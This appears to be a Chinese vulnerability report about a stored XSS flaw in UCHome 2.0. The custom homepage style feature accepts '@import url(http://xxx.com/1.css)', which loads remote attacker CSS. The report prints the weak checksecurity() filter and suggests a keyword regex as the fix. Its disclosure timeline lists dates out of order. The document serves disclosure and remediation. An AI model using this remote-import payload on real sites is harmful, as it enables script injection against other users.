漏洞详情
披露状态:
2010-07-31: 细节已通知厂商并且等待厂商处理中
2010-08-01: 厂商已经确认,细节仅向厂商公开
2010-08-04: 细节向第三方安全合作伙伴开放
2010-09-25: 细节向核心白帽子及相关领域专家公开
2010-10-05: 细节向普通白帽子公开
2010-10-15: 细节向实习白帽子公开
2010-08-30: 细节向公众公开
简要描述:
看源码分析的,出错位置较敏感,而且基本没有利用限制
详细说明:
个人主页自定义风格时,可@import外部css文件
漏洞证明:
以下在uchome 简体utf-8 2.0测试IE6,IE7,IE8通过.
@import url(http://xxx.com/1.css); 包含远程css文件,可以在1.css中写入XSS利用.
分析代码 cp_theme.php 92行(17行调用)
function checksecurity($str) {
//执行一系列的过滤验证是否合法的CSS
$filter = array(
'/\/\*[\n\r]*(.+?)[\n\r]*\*\//is',
'/[^a-z0-9]+/i',
);
$str = preg_replace($filter, '', $str); //过滤是过滤了,但只用于判断,没对源输入起作用
if(preg_match("/(expression|implode|javascript)/i", $str)) { //并没有对import、http等进行检测
showmessage('css_contains_elements_of_insecurity');
}
return true;
}
修复方案:
implode应该是import的笔误
建议
/(expression|vbscript|javascript|import)/i